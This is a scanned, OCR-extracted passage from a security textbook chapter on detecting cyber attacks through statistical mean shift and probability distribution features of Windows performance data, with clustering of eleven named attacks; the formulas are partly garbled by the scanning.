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M ean shift characteristics of attack
and normal use data

This chapter describes the statistical test which is used to extract the mean feature of inactive,
attack and norm data. By comparing the mean feature of data collected under inactive, attack
and norm conditions, mean shift characteristicsfor each of eleven attacks, which are described
in Chapter 7, are revealed and analyzed.

8.1 THE MEAN FEATURE OF DATA AND TWO-SAMPLE TEST OF
MEAN DIFFERENCE

Given arandom variable, x, whose probability density function is f(x), the mean or expected
value of x is defined as follows [1]:

uw=E(X) =/ xf (x) dx, (8.1
where u denotes the mean, and E(x) denotes the expected value. The mean measures the
location of the data distribution of variable x. Given a sample of n independent observations,
X1, X2, ..., Xn, Of variable x, the mean can be estimated by the average value of the data
observations as follows [1]:

n

Sl

Xi = X. (8.2)
i=1

l’:l/:

Formula 8.2 can be used to extract the average value of a data sample as the estimate of the
mean feature of a data distribution.

Two data samples, which are collected under the inactive condition and an activity condi-
tion (with either attack or normal use), respectively, are compared to determine if the activity
condition causes a significant change in the mean of data or amean shift. A significant change
is considered a data characteristic of the corresponding activity. The Mann-Whitney test [1] is

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd
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used to determine if there is a significant difference in the mean feature of two data distribu-
tions under the inactive condition and an activity condition from which two data samples are
collected. The Mann-Whitney test is selected because it is a nonparametric statistic based on
ranks and thus depends little on the probability density distribution of data[1]. It is indicated
[1] that in general the Mann-Whitney test is as powerful asitstypical parametric counterpart,
the two-samplet test. Let xq, X, . . ., X denote one data sample of size n collected under an
activity condition, and let Xn 1, Xn12, . . . , Xnm denote another data sample of size m collected
under the inactive condition. The pooled sample values, X1, X2, . . ., Xny Xnt1s Xna2y - - 5 Xnems
are ranked from the smallest to the largest. If there is a tie among several sample values, the
average of the ranks which these sample values would have received is assigned to each of
those sample values. Let R; denote the rank of x;. The Mann-Whitney test statistic is the sum
of the ranks assigned to one sample, X1, Xz, . .., Xn, &s follows if there are no or only a few
ties[1]:

T= Z R (8.3)

or isthe following if there are many ties[1]:
n R _ " + r;+ 1
T = =1 . (8.4)

nm ey nm(n + m+ 1)
\l(n+m)(n+m—1);Ri2_ A4n+m—1)

If the sample sizes of two data samples are greater than 20, the approximate p-value of the
test statistic for atwo-tailed test, which indicates the statistical significance of mean difference
between two data distributions, is given in [1]. If T isused, the p-value of T isasfollows[1]:

1 n+m+1
T4 _p— =
p—value=2P|z< 2 2 : (8.5)
nm(n+ m+ 1)
12

where Z isarandom variablewith astandard normal distribution and P denotesthe probability.
If T1 isused, the p-value of T, isthefollowing [1]:

p—vaue=2min{P(Z <Ty),P(Z=>T). (8.6)

If the p-value is less than 0.05, it is considered that there is a significant difference in mean
between two data distributions from which two data samples are drawn. Note that most data
samples from Run 1, Run 2 and Run 3 under the inactive, attack and normal use conditions
have a sample size greater than 20. The statistical software, Statistica[2], is used to perform
the Mann-Whitney test.
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8.2 DATA PRE-PROCESSING

For a given variable of activity, state and performance data collected from the Windows per-
formance objects, the data samples of the variable under the three conditions—the inactive,
attack and normal use conditions—are first screened to examine if the data samples contain
the same value for every data observation of the variable. Such variables and their data are
taken out without a further analysis because they are not useful in distinguishing the attack
condition from the inactive and normal use conditions.

8.3 DISCOVERING MEAN SHIFT DATA CHARACTERISTICS
FOR ATTACKS

For each attack and each variable, whose 10-minute data sample under the inactive condition
and attack data sample for the entire duration of the attack condition are obtained from Run 1
of data collection, the Mann-Whitney test in Statistica is performed using the inactive data
sample and the attack data sample to determine if there is a significant difference in the mean
feature of the data, as described in Section 8.1. If asignificant mean differenceis present, the
sample averages of two datasampl esasthe mean estimates of two popul ations, respectively, are
compared to identify if the attack causes an increase or adecreasein the mean from theinactive
condition to the attack condition. A mean increase is denoted by M+, and a mean decreaseis
denoted by M—. The variable name along with either M+ or M— isalso noted for a mean shift
characteristic of theattack. Thisprocedureof applying theMann-Whitney test to two samplesof
inactive dataand attack dataisrepeated for each variable under each attack. Asaresult, alist of
the mean shift characteristics, which are defined by the data variables along with an indication
of M+ or M— for each of these variables, is obtained for each attack. Similarly, alist of the
mean shift characteristics is obtained for each of the two normal use activities, web browsing
and text editing, by applying the Mann-Whitney test to two samples of 10-minute inactive data
and 10-minute normal use datafrom Run 2 for text editing or Run 3 for web browsing for each
variable.

For each attack, each mean shift characteristic of the attack is examined to see if the
same characteristic (the same variable with the same mean shift) also manifests as the mean
shift characteristic of either text editing or web browsing. If so, this mean shift characteristic
of the attack is removed from the initial list of the mean shift characteristics for the attack.
Removing such attack characteristics which also appear in anormal use activity produces the
final list of the mean shift characteristics for the attack. Figure 8.1 summarizes the procedure
of discovering the mean shift data characteristics for the attacks.

Although the above procedure focuses on the mean shift attack characteristics, the mean
shift characteristics for the text editing and the web browsing can also be uncovered in a
similar manner. Ultimately, instead of classifying the activities into two categories of attack
and normal use, each individual activity can be considered as a distinctive category to allow
activity detection andidentification for purposesother than cyber attack detection. For example,
corporations may be interested in identifying user activities that are not allowed in the work
environment.
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Figure8.1 The procedure of discovering mean shift characteristics for eleven attacks.

8.4 MEAN SHIFT ATTACK CHARACTERISTICS

In Section 8.4.1, some examples of the attack characteristics in mean shift arefirst illustrated
and explained. In Section 8.4.2, the findings of the mean shift attack characteristics by attacks
and by Windows performance objects are presented. In Section 8.4.3, the attack groupings
based on the same and opposite attack characteristics among the attacks are presented and
discussed. In Section 8.4.4, the unique attack characteristics are summarized.

8.4.1 Examples of mean shift attack characteristics

Table 8.1 gives some examples of attack characteristics in mean shift. In Table 8.1, the at-
tack name abbreviation is used, M+ indicates a mean increase attack characteristic, and M —
indicates a mean decrease attack characteristic. For example, the variable, TCP\ Connections
Passive which describes the number of times TCP connections have made a direct transition
from the LISTEN state to the SYN-RCVD state, has a significant increase from the inactive
condition to the attack conditions of Remote Dictionary and Vulnerability Scan dueto alarge
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Table8.1 Examples of attack characteristics in mean shifts
Attacks

Variables Apache FTP Fork Remote Vulnerability
TCP\ Connections Passive M-+ M+
Memory Committed Bytes M-+
Process(war-ftpd)\ Page File Bytes M+
Process(war-ftpd)\Working Set M-+
Process(_Total)\ Private Bytes M+

number of attempted connections. Figure 8.2 plots the data observations of TCP\ Connections
Passive in the Remote Dictionary attack, which shows a steady increase in the attack period.
The variable, Memory\ Committed Bytes which describes the amount of committed virtual
memory in bytes, has a significant increase from the inactive condition to the attack condition
of Apache Resource DoS since the attack forces the Web server to allocate more and more
memory space to web connections. Under the FTP Buffer Overflow attack, the FTP server
process, war-ftpd, encounters changes. Specifically, the variables, Page File Bytes which de-
scribes the current number of bytes this process has used in the paging file(s), and Working
Set which describes the current number of bytes in the working set of this process, have a
significant increase from the inactive condition to the attack condition of FTP Buffer Overflow
due to the long string of the process input used in this buffer overflow attack. The variable,
Process(_Total)\ Private Bytes describing the current number of bytes allocated to individual
processes without being shared with other processesfor all processesin total, has a significant
increase from theinactive condition to the attack condition of Fork Bomb dueto alarge number
of processes created in this attack.

Line Plot (pureTSOnly_1_17 1106v*221c)
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Figure8.2 The dataplot of TCP\Connections Passive in the Remote Dictionary attack.
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8.4.2 Mean shift attack characteristics by attacks and windows
per for mance obj ects

Tables 8.2 and 8.3 present the number of variables with a significant mean increase and a
significant mean decrease, respectively, from the inactive condition to each attack condition
for each Windows performance object. Table 8.4 summarizes the findings from Tables 8.2
and 8.3 with a comparison of the mean increase and mean decrease attack characteristics.

Finding 1 in Table 8.4 indicates that in total 18 objects demonstrate a significant mean
increase from the inactive condition to the 11 attack conditionswhile 17 objects demonstrate a
significant mean decreasefrom theinactive condition tothe 11 attack conditions. In Finding 2 of
Table 8.4, the objects, Distributed Transactions Coordinator and Network Interface, show only
the mean increase characteristic with no mean decrease characteristics under various attacks,
whereasthe objects, Paging File, Server and Server Work Queues, show only the mean decrease
characteristics under various attacks. Distributed Transactions Coordinator is affected by the
Vulnerability Scan attack only (see Finding 4 of Table 8.4). Paging File, along with Termina
Services, is affected by the Remote Dictionary attack only. Server and Server Work Queues,
along with ICMP and IR, are affected by the Security Audit attack only (see Finding 4). The
Redirector object is affected by the Distributed DoS attack only (see Finding 4). All other
objects have both mean increase and mean decrease characteristics under various attacks.

Finding 3indicatesthat both mean increase and mean decrease characteristics of the Process
object occur in most of the attacks since each attack introduces its specia process(es), while
the attack of Vulnerability Scan produces alarge number of mean increase and mean decrease
characteristics (see Finding 9 of Table 8.4) on the Process object. The Rootkit attack also
introduces alarge number of mean increase characteristics on the Process object, whereas the
Remote Dictionary and Distributed DoS attacks introduce a large number of mean decrease
characteristics on the Process Object (see Finding 9 of Table 8.4).

The Security Audit attack is similar to the Vulnerability Scan attack because the Security
Audit attack usesNM A Pto perform the Vulnerability Scan attack too. However, thetwo attacks
have some different attack characteristicsin mean shift. The objectsof Distributed Transactions
Coordinator, Redirector and UDP are affected by Vulnerability Scan with the mean increase
characteristics but not by Security Audit, whereas the object of Terminal Services Session
is affected by Security Audit with the mean increase characteristics but not by Vulnerability
Scan. Hence, with regard to the mean shift characteristics, these objects may help distinguish
the Vulnerability Scan attack from the Security Audit attack.

Findings 6, 7 and 8 point out a few objects affected by the attacks of Software Keylogger,
Rootkit and ARP Poison. Finding 10 reveal sthat the Remote Dictionary attack causesthelargest
number of mean decrease characteristics in the Terminal Services Session object among all
the attacks.

The Hardware Keylogger attack is a subtle attack, and it does not affect any objects in
either mean increase or mean decrease characteristics (see Finding 12). However, the attack
characteristics of Hardware Keylogger are present in the distribution, autocorrelation, wavel et
features which are described in Chapters 911, respectively. The Vulnerability Scan and Secu-
rity Audit attacks cause the mean increase of variablesin the largest number of objects, while
the Remote Dictionary attack causes the mean decrease of variables in the largest number
of objects (see Finding 11). Findings 13—23 summarize the small sets of attacks that affect
the objects of UDP, TCP, ICMP, IP, Objects, Redirector, Terminal Services, Terminal Services
Session, LogicalDisk, Physical Disk, and Processor, respectively. For example, the five attacks
of Apache Resource DoS, FTP Buffer Overflow, Remote Dictionary, Security Audit, and
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Table8.4 A comparison of findings between the mean increase and mean decrease characteristics

Findings in comparison

Mean increase characteristic

Mean decrease characteristic

1. Total number of objects
affected

2. Objects with exclusive
characteristic (either mean
increase or mean decrease but
not both) in any attack

3. Object(s) affected by most
attacks

4. Objects affected by only one
attack

5. Objects affected by
Vulnerability Scan but not by
Security Audit and vice versa

6. Few objects affected by
Software Keylogger

7. Few objects affected by
Rootkit

8. Few objects affected by ARP
Poison
9. Significant attack effect on
Process
10. Significant attack effect on
Terminal Services Session
11. Attack(s) affecting most
objects

12. Attack affecting no objects
13. A few attacks affecting UDP

18

Distributed Transactions
Coordinator,
Network Interface

Process (affected by 9 out of
11 attacks except Hardware
Keylogger and ARP
Poison)

Distributed Transactions
Coordinator (affected by
Vulnerability Scan)

Distributed Transactions
Coordinator, Redirector,
UDP (affected by
Vulnerability Scan but not
Security Audit), Terminal
Services Session (affected
by Security Audit but not
Vulnerability Scan)

Logica Disk (4 variables),
PhysicalDisk (4 variables),
Process (112 variables)

Processor (3 variables) but not
Process

Vulnerability Scan (204
variables), Rootkit (112
variables)

Vulnerability Scan (16 out of
17 objects),
Security Audit (14 out of 17
objects)

Hardware Keylogger

Distributed DoS,
Vulnerability Scan

17

Paging File,
Server,
Server Work Queues

Process (affected by 10 out of 11
attacks except Hardware
Keylogger),

Memory (affected by 9 out of 11
attacks except Hardware
Keylogger and FTP Buffer
Overflow)

ICMP, IP, Server, Server Work
Queues (affected by Security
Audit),

Paging File, Terminal Services
(affected by Remote Dictionary),
Redirector (affected by
Distributed DoS)

Memory
Process
System

Remote Dictionary (90 variables),
Vulnerability Scan (62 variables),
Distributed DoS (52 variables)

Remote Dictionary (55 variables)

Remote Dictionary (11 out of
18 objects)

Hardware Keylogger
FTP Buffer Overflow, Vulnerability
Scan

(Continued)
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Table8.4 Continued

Findings in comparison

Mean increase characteristic

Mean decrease characteristic

14. A few attacks affecting TCP

15. A few attacks affecting ICMP

16. A few attacks affecting IP

17. A few attacks affecting
Objects

18. A few attacks affecting
Redirector

19. A few attacks affecting
Terminal Services

20. A few attacks affecting
Terminal Services Session

21. A few attacks affecting
LogicalDisk

22. A few attacks affecting
Physical Disk

23. A few attacks affecting
Processor

Apache Resource DoS,
FTP Buffer Overflow,
Remote Dictionary,
Security Audit,
Vulnerability Scan

Distributed DoS,
Security Audit,
Vulnerability Scan

Apache Resource DoS,
Distributed DoS,
Security Audit,
Vulnerability Scan

Security Audit,
Vulnerability Scan

Fork Bomb

Vulnerability Scan

Remote Dictionary,
Security Audit,
Vulnerability Scan

ARP Poison,

Security Audit,
Software keylogger

Remote Dictionary,
Security Audit

Security Audit

Security Audit

ARP Poison,
Remote Dictionary,
Vulnerability Scan
Distributed DoS,
Hardware Keylogger,
Remote Dictionary
Fork Bomb,
Remote Dictionary,
Rootkit
Fork Bomb,
Remote Dictionary,
Rootkit

Vulnerability Scan, each of which involves one or more network applications, affect the TCP
object (see Finding 14). It is obvious from Finding 13 that the Distributed DoS attack uses

UDP but not TCP.

8.4.3 Attack groupings based on the same and opposite
attack characteristics

Table 8.5 summarizes the number of the same attack characteristics (including both mean
increase and mean decrease) shared by each pair of attacks. For example, the A pache Resource
DoS attack hasthe six attack characteristics which also appear in the ARP Poison attack. The

following formulais used to calculate the dissimilarity for each pair of attacks:

C 1
Dissimilarity = -
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Unweighted pair-group average
Dissimilarities from matrix
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Figure 8.3 The hierarchical clustering of the attacks based on the same attack characteristics and the
average linkage method of hierarchical clustering.

where nisthe number of shared attack characteristics between the pair of attacks. The dissim-
ilarity value measures the distance between a pair of attacks. A larger value of n for a pair of
attacks produces asmaller dissimilarity value which meansasmaller distance between the pair
of attacks. Sincethe Hardware Keylogger attack does not produce any mean shift characteristic,
Hareware Keylogger is not considered in computing the dissimilarity for each pair of attacks.

The dissimilarity values for all pairs of the ten attacks without Hardware Keylogger are
used to produce ahierarchical clustering of the ten attacks as shown in Figure 8.3, based on the
average linkage method of the hierarchical clustering procedure in Statistica[2]. The average
linkage method usesthe average coordinate of all datapointsin acluster to represent the cluster
when computing the linkage distance between two clusters. At a given stage of hierarchica
clustering, two data points or clusters with the smallest average linkage distance are merged
into a new cluster. Using Ward's linkage method of the hierarchical clustering procedure in
Statistica produces the clustering of the nine attacks as shown in Figure 8.4. Ward's linkage
method merge two clusters or data pointsinto a new cluster based on the data variance of the
new cluster. At agiven stage of hierarchical clustering, two data points or clusters producing
the smallest data variance of anew cluster are merged into a new cluster.

Consideringtheclusterswiththelinkagedistancelessthan 0.02in Figure8.3 and theclusters
with the linkage distance less than 0.025 in Figure 8.4, both the average linkage method and
Ward's linkage method produce the same seven groups of attacks as follows:

e Group sl (‘s standsfor ‘same’): Apache Resource DoS and Fork Bomb
e Group s2: Rootkit and Vulnerability Scan
e Group s2: FTP Buffer Overflow
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Ward's method
Dissimilarities from matrix

Apache

[ ]

Fork

FTP

ARP
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Remote
Security
Software

Rootkit —|
Vulnerability J

0.0 0.1 0.2 0.3 0.4 0.5

Linkage Distance

Figure8.4 Thehierarchical clustering of the attacksbased on the same attack characteristicsand Ward's
linkage method of hierarchical clustering.

e Group s3: Security Audit

e Group s4: Software Keylogger
e Group s5: ARP Poison

Group s6: Distributed DoS

Group s7: Remote Dictionary.

Considering the clusters with the linkage distance lessthan 0.045 in Figure 8.3 and the clusters
with the linkage distance less than 0.05 in Figure 8.4, both the average linkage method and
Ward's linkage method produce the same six groups of attacks as follows:

e Group S1 (‘'S stands for ‘Same’): Apache Resource DoS, Fork Bomb, and FTP Buffer
Overflow

e Group S2: Rootkit and Vulnerability Scan

e Group S3: Security Audit and Software Keylogger
e Group S4: ARP Poison

e Group S5: Distributed DoS

e Group S6: Remote Dictionary.
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Considering the clusters with the linkage distance less than 0.11 in Figure 8.3 and the clusters
with the linkage distance less than 0.25 in Figure 8.4, both the average linkage method and
Ward's linkage method produce the same two groups of attacks as follows:

e Group Lsl (‘Ls standsfor ‘Largely same'): Apache Resource DoS, Fork Bomb, and FTP
Buffer Overflow

e Group Ls2: ARP Poison, Distributed DoS, Rootkit, Vulnerability, Remote Dictionary,
Security Audit, and Software Keylogger.

The attacks within each group are similar with regard to their shared attack characteristics.
The two attacks in groups s1, S1 and Lsl1, Apache Resource DoS and Fork Bomb, share
54 attack characteristics (see Table 8.5) including 46 attack characteristics in the Process
object (e.g., the mean increase characteristics in Process(_System)\% Processor Time and
Process(_System)\ IO Write Operations/sec) and 6 attack characteristics in the Cache object
(e.g., amean increase characteristic in Cache\ Copy Reads/sec). Thisreflectsthe fact that both
attacks consume alarge amount of processing and cache resources.

The two attacks in groups s2, S2 and Ls2, Rootkit and Vulnerability Scan, share 59 attack
characteristics (see Table 8.5) including 58 attack characteristics in the Process object. These
58 shared attack characteristics cover such variables as Virtual Bytes, Working Set, Working
Set Peak, Page File Bytes, Private Bytes, and Pool Nonpaged Bytes of many system processes
such as system, alg, csrss, smss, censtat, nvsvc32, svchost#2, winlogon, and CtiServ.

The FTP Buffer Overflow attack joins the Apache Resource DoS and Fork Bomb attacks
in groups sl and Lsl due to 29 attack characteristics shared between Fork Bomb and FTP
Buffer Overflow, most of which are the Process variabl es concerning working resources (e.g.,
Virtual Bytes, page File Bytes, Private Bytes, Thread Count, and Pool Nonpaged Bytes), and 20
attack characteristics shared between Apache Resource DoS and FTP Buffer Overflow, many
of which are the Process variables concerning 10 operations (e.g., |O Other Operations/sec
and 10 Other Bytes/sec) and Page Faults. Hence, FTP Buffer Overflow is similar to Apache
Resource DoS and Fork Bomb in different ways. The Apache Resource DoS, Fork Bomb
and FTP Buffer Overflow attacks also share the mean increase characteristics of five Cache
variables, Copy Reads/sec, Sync Copy Reads/sec, Copy Read Hits %, Fast Reads/sec, Sync
Fast Reads/sec.

The Security Audit and Software Keylogger attacks in groups S3 and Ls2 share 23 attack
characteristics (see Table 8.5) in various objects including 9 in Terminal Services Session, 6
in Process, and some othersin LogicalDisk and Physical Disk.

Table 8.6 summarizesthe number of the opposite attack characteristics between each pair of
attacks. Two attack characteristics for agiven pair of attacks are opposite if the same variable
has the mean increase characteristic under one attack and the mean decrease characteristic
under another attack. For example, the Apache Resource DoS attack has the mean increase
characteristic in Process\ (svchost#1)\Handle Count, whereas the ARP Poison attack has the
mean decrease characteristic in the same variable. This is one of the three opposite attack
characteristics between Apache Resource DoS and ARP Poison. The number of opposite
attack characteristics between each pair of the ten attacks without Hardware Keylogger is
taken as a dissimilarity value between the pair of attacks and is used to produce a hierarchical
clustering of the ten attacks as shown in Figure 8.5, based on the average linkage method of
the hierarchical clustering procedure in Statistica. Figure 8.6 showsthe hierarchical clustering
of the ten attacks based on Ward's linkage method. Considering the clusters with the linkage
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Unweighted pair-group average
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Figure 85 The hierarchica clustering of the attacks based on the opposite attack characteristics and
the average linkage method.

distance less than 1.5 in Figure 8.5 and the clusters with the linkage distance less than 2 in
Figures 8.5, both Figure 8.4 and Figure 8.6 show the same six groups of attacks as follows:

Group ol (‘o' standsfor ‘opposite’): Fork Bomb, FTP Buffer Overflow, Vulnerability Scan,
and Apache Resource DoS

Group 02: ARP Poison, and Distributed DoS
Group 03: Rootkit

Group o4: Software Keylogger

Group 05: Remote Dictionary

Group 06: Security Audit

Considering the clusters with the linkage distance less than 10 in Figure 8.5 and the clusters
with the linkage distance less than 9 in Figures 8.6, both the average linkage method and
Ward's linkage method produce the same three groups of attacks as follows:

Group O1 (‘O stands for ‘Opposite’): Fork Bomb, FTP Buffer Overflow, Vulnerability
Scan, Apache Resource DoS, Rootkit, and Software Keylogger

Group O2: Remote Dictionary
Group O3: Security Audit
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Figure 8.6 The hierarchical clustering of the attacks based on the opposite attack characteristics and
Ward's linkage method.

except that the group of Distributed DoS and ARP Poison joins group O1 in Figure 8.5 but
is a separate group in Figure 8.6. However, the Distributed DoS and ARP Poison attacks are
grouped together through the hierarchical clustering because the two attacks have no opposite
attack characteristics or have the zero distance. Sincethelack of opposite attack characteristics
doesnot necessarily imply their closeness, thisgrouping of Distributed DoS, and ARP Poisonis
dismissed, producing thefollowing grouping result based on the opposite attack characteristics:

e Group O1: Fork Bomb, FTP Buffer Overflow, Vulnerability Scan, Apache Resource DoS,
Rootkit, and Software Keylogger

Group O2: Remote Dictionary
Group O3: Security Audit
Group O4: Distributed DoS
Group O5: ARP Poison.

The grouping result based on the same attack characteristics among the attacks is consistent
with the grouping result based on the opposite attack characteristics among the attacks as
follows.

e The Apache Resource DoS, Fork Bomb and FTP Buffer Overflow attacks in group S1 are
also grouped together in group O1.



136 M ean shift characteristics of attack and nor mal use data

e The Rootkit and Vulnerability Scan attacksin group S2 are also grouped together in group
O1.

o The ARP Poison attack in S4 and O5 is different from the other attacks.
e The Distributed DoS attack in S5 and O4 is different from the other attacks.
e The Remote Dictionary attack in S6 and O2 is different from the other attacks.

The two attacks of Security Audit and Software Keylogger are grouped in S3 based on the
same attack characteristics, but are considered different in separate groups based on the op-
posite attack characteristics. Considering the large cluster distance of the S3 cluster, the two
attacks in S3 can reasonably be separated. Hardware Keylogger is also different from the
other attacks since this attack behaves differently from the other attacks by not having any
mean shift attack characteristics.

Hence, the attack groups can be classified into the following categories based on both the
same attack characteristics and the opposite attack characteristics among the attacks.

e Attack groups of similar behavior:
o Group 1: Apache Resource DoS, Fork Bomb, and FTP Buffer Overflow
o Group 2: Rootkit and Vulnerability Scan.
o Attack groups of different behavior from other attacks:
o Group 3: ARP Poison
o Group 4: Distributed DoS
o Group 5: Remote Dictionary
o Group 6: Security Audit
o Group 7: Software Keylogger
o Group 8: Hardware Keylogger.

8.4.4 Unique attack characteristics

Table 8.7 gives the number of the mean increase characteristics for each object that are unique
to each attack. For example, for the Cache object, the Apache Resource DoS attack has two
unique mean increase characteristics in Cache\ Pin Reads/sec and Cache\ Sync Pin Reads/sec
which appear only in this attack. The attacks of Fork Bomb, FTP Buffer Overflow and Rootkit
have unique mean increase characteristics only in the Process object. The Remote Dictionary
attack has unique mean increase characteristics only in the LogicalDisk object. The other
attacks have unique mean increase characteristics in multiple objects.

Table 8.8 gives the number of the mean decrease characteristics that are unique to each
attack. For example, for the Cache object, the Rootkit attack has two unique mean decrease
characteristics in Cache\Data Flushes/sec and Cache\Data Flush Pages/sec which appear
only in this attack. Since the mean increase characteristics of these two variables appear in the
Security Audit attack, the mean decrease characteristics of these two variables in the Rootkit
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attack are also counted as two opposite attack characteristics between the Rootkit and Security
Audit attacks in Table 8.6. Most of the attacks have unique mean decrease characteristics in
multiple objects.

8.5 SUMMARY

Although the Hardware Keylogger shows no mean shift characteristics, the other ten attacks
show many mean shift characteristics, as shown in this chapter. The mean shift characteristic
results in this chapter can be used not only to detect but also to identify individual attacks.
Monitoring the variableswith the unique attack characteristics of each attack can be considered
when detecting and identifying that attack. However, it may be more efficient to consider
monitoring the variables with the shared or opposite characteristics among attacks through a
unique combination of those variables for each attack in order to reduce the total number of
variablesthat need to be monitored to detect and identify any of these attacks. An optimization
problem of finding the smallest number of such variables to produce a unique combination of
attack data characteristics for each attack is described in Chapter 18.

This chapter also reveals the relationships among the ten attacks through the hierarchical
clustering of the attacks based on their shared or opposite attack characteristics. The grouping
of the attacks as well as the similarity and difference in data characteristics underlying each
attack group is helpful in recognizing the nature of unknown, novel attacks when they show
similar attack data characteristics with one or more groups of known attacks, and in guiding
the further investigation of these new attacks to reveal their complete attack characteristics.

The mean shift characteristics can be used not only for distinguishing attacks from normal
use activities by considering two categories of activities—attack and normal use—but also to
identify any individual activity of interest by considering the activity asan individua category
and uncovering its unigue combination of mean shift characteristics. | dentifying not necessarily
attack activities but other individual activities of interest has applications that go beyond
cyber attack detection.
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Probability distribution change
characteristics of attack and normal
use data

The mean feature of datafor arandom variable described in Chapter 8 represents only one of
many featuresthat characterizethe probability distribution of therandom variable. Among other
features are variance, skewness, and kurtosis which are the second-, third-, and fourth-order
statisticsof datafor arandom variable[1, 2], respectively. For instance, if arandom variable has
anormal distribution of data, both mean and variance are necessary to completely represent the
probability distribution of the data. The data patterns leading to five probability distributions
are observed in the Windows performance objects dataunder attack and normal use conditions.
This chapter investigates the probability distribution feature of the collected Windows perfor-
mance objects data. In particular, the skewness and mode features of a random variable are
used to identify the five types of probability distributions. The probability distribution change
characteristics of attack and norm data are then analyzed and reported.

In this chapter, the observation of five data patterns through the data plots of the data
variablesisfirst presented. The data patterns|ead to the expectation of five types of probability
distributions that the data variables have. Then, the skewness and mode tests, which are used
to identify the five types of probability distributions, are introduced. Finally, the probability
distribution change characteristics of attack and normal use data are analyzed and presented.

9.1 OBSERVATION OF DATA PATTERNS

From the attack data of run 1 and the normal use data of run 2 and run 3 described in Chapter
7, the data sample of each data variable under each attack condition and each normal use
condition is plotted. The following types of data patterns:

e spike (including upward and downward spikes);

e random fluctuation;

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
© 2008 John Wiley & Sons, Ltd



142 Probability distribution change char acteristics

e step change (including step increase and step decrease);
e steady change (including steady increase or steady decrease);

® sine-cosine wave with noise

areobserved among all the datavariables under all the conditions. Figure 9.1 showsan example
of each data pattern. Figure 9.1a shows two kinds of the spike pattern, one with the upward
spikes only, and another with mostly the downward spikes.

There is an association between the data patterns and their probability distributions as
shown by the histograms in Figure 9.1. Figure 9.2 shows the data plots and histograms for
another set of data variableswith the spike, random fluctuation, step change and steady change
patterns. A spike pattern leads to a skewed probability distribution of data (see Figure 9.1a
and Figure 9.238). As shown in Figure 9.1a, an upward spike pattern leads to a right skewed
distribution with aright tail, meaning that most data observations have values falling into the
lower part of the data range and a few data observations spread over a part of larger values
than those in the lower part. A downward spike pattern leads to aleft skewed distribution with
a left tail, meaning that most data observations have values falling into the upper part of the
data range and a few data observations spread over a part of smaller values than those in the
upper part. A random fluctuation pattern leads to a symmetric, normal distribution as shownin
Figure 9.1b and Figure 9.2b. A step change pattern leadsto amultimodal distribution as shown
in Figure9.1c and Figure 9.2c. A step change with two dominant levels of values, as shownin
Figure 9.2c, leads to abimodal distribution. A step change involving several distinctive levels
of values, such as the step change shown in Figure 9.1c with one dominant level and a few
other levels, leads to a multimodal distribution with more than two modes. A steady change
pattern as shown in Figure 9.1d and Figure 9.2d leads to a uniform distribution. A sine-cosine
wave with noise pattern may lead to a normal distribution if there is much noise as shown in
Figure 9.1¢e, or a uniform distribution if there is little noise and the sine-cosine wave is well
formed.

Based on the observation of thefive data patternsand the associ ation of the datapatternswith
their corresponding probability distributions, we expect to observe five types of probability
distributions for the data variables in the collected data of the Windows performance objects
described in Chapter 7:

left skewed distribution;
right skewed distribution;

normal distribution;

multimodal distribution;

uniform distribution.

The next section describes the statistical tests and procedure which identify these probability
distributions.
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9.2 SKEWNESSAND MODE TESTSTO IDENTIFY FIVE TYPES
OF PROBABILITY DISTRIBUTIONS

For thefivetypesof probability distributionsdescribed in Section 9.1, skewness and modetests
can be used in combination to uniquely identify each of the five distributions. Both positive
and negative deviations from the mean contribute to the variance in the same way since the
variance sguares both positive and negative deviations. The skewness cubes the deviations
from the mean to measure if the deviations are largely symmetric, from the right side of the
mean, or from the left side of the mean, asfollows:

E(x — )

skewness =
03

(9.1)

where u and o are the population mean and variance, respectively. The skewness of anormal
distribution or any symmetric distributionisexpected to be zero. A left skewed distribution with
alongtail totheleft of the mean hasanegative skewnessvalue. A right skewed distributionwith
alongtail totheright of the mean hasapositive skewnessvalue. Givenadatasample, X, X2, . . .,
Xn, the sample skewness is computed asfollowsin[1, 2]:

Nyl (x —x)°

e A

(9.2)

where X and s are the sample average and standard deviation, and n is the sample size. The
skewness value is computed using Statistica [2]. Statistica computes the standard error of
the skewness value. If a skewness value is greater than three times of the standard error of the
skewness value, the data variable is considered to be right skewed. If a skewness value is
smaller than minus three times of the standard error of the skewnessvalue, the datavariableis
considered to be left skewed.

The mode in the probability density indicates clustering in the data [3]. A probability
distribution can have one mode or multiple modes. For examples, a normal distribution has
one mode, a skewed distribution has one mode, and a bimodal distribution has two modes.
Both the DIP test [3-6] and the mode test [7] are used together to determine the modality of
data because through testing the data on only one of the testsis not adequate to distinguish the
unimodality and multimodality of data. The DIP test is atest of the unimodality of data as a
whole[3, 4]. The DIPtest is performed using the diptest package [5] for R statistical software
[6] with the significance level set to 0.05. The mode test [7] is atest for significance of each
individual potential mode rather than atest on the overall unimodality of data. The mode test
program by Minnotte [7] is used. For each mode tested, the program results show its location
along with its p-value. The significant level is set to 0.05. Based on the test results, the number
of significant modes can be counted.

Through the testing on the Windows performance objects data, the results of the skewness
test, the DIP test and the mode test, which indicate the five types of probability distributions,
are obtained and summarized in Table 9.1. For example, adata variable is considered to have
auniform distribution if:

o the DIP test rejects the null hypothesis of unimodality at the significance level of 0.05;
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Table9.1 The skewnessand mode test results used to identify the five types of probability distribution

Probability distribution

(Acronym) DIP test Mode test Skewness test

1. Multimodal Reject the unimodality Any result Any result
distribution (DMM)

2. Uniform distribution Not reject the unimodality Number of significant Symmetric
(DUF) modes > 2

3. Unimodal, symmetric Not reject the unimodality Number of significant Symmetric
distribution (DUS) modes < 2

4. Unimodal, left Not reject the unimodality Number of significant Left skewed
skewed distribution modes < 2
(DUL)

5. Unimodal, right Not reject the unimodality Number of significant Right skewed
skewed distribution modes < 2
(DUR)

e the number of significant modes from the mode test is grester than 2;
e the skewness test indicates that the datais symmetrically distributed.

Asdiscussed in Section 9.1, the data patterns suggest only the five types of probability distribu-
tionsin the collected data. Hence, the five distributions can be mapped to the five distributions
suggested by the data patterns:

e Left skewed distribution, which correspondsto the 4™ distributionin Table9.1 and isdenoted
as DUL for Distribution, Unimodal, L eft skewed.

e Right skewed distribution, which corresponds to the 5" distribution in Table 9.1 and is
denoted as DUR for Distribution, Unimodal, Right skewed.

e Normal distribution, which corresponds to the 3 distribution in Table 9.1 and is denoted
as DUS for Distribution, Unimodal, Symmetric (implying the normal distribution).

e Multimodal distribution, which correspondsto the 1% distributionin Table9.1 and is denoted
